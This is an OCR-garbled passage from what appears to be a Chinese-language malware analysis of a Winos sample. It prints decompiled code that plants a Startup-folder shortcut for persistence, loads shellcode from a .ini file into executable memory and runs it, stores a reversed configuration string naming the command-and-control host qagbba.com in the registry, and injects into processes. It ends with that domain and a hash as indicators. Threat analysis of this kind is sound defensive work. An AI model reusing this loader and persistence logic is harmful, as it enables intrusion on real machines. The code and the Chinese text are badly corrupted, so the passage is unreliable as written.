SHGetFolderPathi(@ied, CSIDL_STARTUP, @ie4, @, startup);
s tfW(run_lnk _path, L"%s\\run.lnk", startup);

= BiBd;
Instance = Colnitialize(@ie4);
if ( Instance < @ )

goto LABEL_8;

Instance = reateTnstance(&rclsid, Bi64, 1u, &CLSID_TID TShelllinki, &ppu);
if ( Instance >=8 )
{

(ppv->1pvtbl->SetPath) (ppv, Filename);
(ppv->1pVebl->SetilorkingDirectory) (ppv,
Instance = (ppv->1pvtbl->QueryInterface)(p
if ( Instance »>= @ )
{
/f # run.lnk RIFEBHEFR
c I i e->1pvtbl->Save)(
e->1pvtbl->Release) (IPersi

» &::IPersistFile, &IPersistrile);

ile, run_lnk_path, 1i64);

}
(ppv->1pvtbl->Release) (ppv);
CoUninitialize();
1 = BiBd;

s = f_open_file("C:\\Wsers\\Public\\Python\\x.ini", "rb");
1 hiss

f_set_file_pointer(this, @, FILE_END);

dwsize 2 = f_get size(this 1);

f_sync_thread_update_state( s_1, vB, va, via);

if ( dwsize_2 » @ && (dwsiz dwsize_2, memory = f_allocate_memory(dwSize_2), (ShellCode = memocry) != 8i64)
{

I H

ShellCode = @is4;

1, PAGE_EXECUTE_READWRITE, &Fl0ldProte
de, @164, 8, 8i64);

VirtualProtect(ShellCode, d
CreateThread(@i64, 8i64, Sh
while ( 1)

Sleep(1080080U) ;

R’EWEARB BaSHIT.iniXX 4 ShellCode

1.5.1 RINSE1 BB

TEAOR EZRT RIS Winos JRI TFEERAH . SEATEAZRSTRECE. RIFATTRREHEAR
1TRIMERER. EATERET AN , BRFES (qagbba.com) BEfFIETRJEIIER,

)
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|_int64 wmain()

HAND ConsoleWindow; // rax
DWORD CurrentThreadld; // cox

SetUnhandL: ter(TopLevelExceptionFilter);
e Tewindow() ;
; 0);
rentThreadTd();
Threadld, @, @i64, 8i64);

ingleobject (hObject, @xFFFFFFFF);
erandle(hobject)s

sleep(exi2Cu);

return @i64;

v@ = &retaddr;

f ( lv_initialization flag @ )

v_initialization flag @ = 1;
wesrev(
L"|@:db|6:1k|@:hs|0:1d|:11|8:hb|8:pj|8 .21.5202
"oc.abbgaq:2p|1:1t|6666: 10 |moc. abbgaq:1p| " );
memset(85rc, B, @x12A8ui6d);
£_find_extract_substring(L"pl:", Source, 8i64);
f_find_extract_substring(L"o1:", v_param_ol_value, Bi64);

zb|0.1:bb|i\Bk:2F|1:1c|1:dd|1:3¢|8866:30|moc. abbgaq:3p|1:2t|8888: 20 |m"

6:db|@:1k|0:hs|0:1d|8:11|8:hb|0:pj|8 .21.5202:2b|@.1:bb|IhB:=F|1:1c|1:dd|1:3t|8866:30|moc.abbqaq:3p|1:2t|8888"
20|moc.abbgaq:2p|1:1t|6666: 10 |moc.abbgaq:1p|");
i1 = lstrlen(L"t1:");

2 1= @xFFRFFFFF )

har *)lpBuffer + v2, &Src, exl2Aeuisd);
W(HKEY_LOCAL_MACHINE, L"SOFTWARE", @, @x102u, &hKey);
uen(hkey, L"IpDates_infa");

> REG_BINARY

(hkey, L"Ipbates_info", @, 3u, &Src, ex12A6u);
RegCloseKey (hKey);

if ( al[exd] )

{

5[e] = Bied;
s5[1] = @eied;
*(_QWORD *)dwP

while (1)

sId = Bi6d;

while ( !f_create_process_inject_cede(v_data_size, (_int64)v5) )
while (1)
1

hi

ROCESS_QUERY_INFORMATION, @
|GetExitCodePracess (hProcess, &Ex

e 1= ex183 )

Sleep(@xBBBuU);
}
) }
((void (*)(void))lpsuffer)();
return @i64;

M Winos /a1 T a3 58 &ilE

KPR EWIERBET KHAF , BERETRFTBLEEARESENNAFE , YIZEETTIE
AR IS, NIBRSKALEREZEANERE ., B, MARFR2RGRNITR | B & 0irae
h. BRIEEFHIAEgec.exelltts , BFERGIEITHE . WMEEERFTEFEN , FALHER
ReEVHHTEERAWER , IXREMARESEERE.

= k=x

C&C:

gagbba.com

HASH :

068a6bf19eaB7c31dd115F1760813cFffB9dBd864d2abcB8ddbeccebed5B8fc7a297
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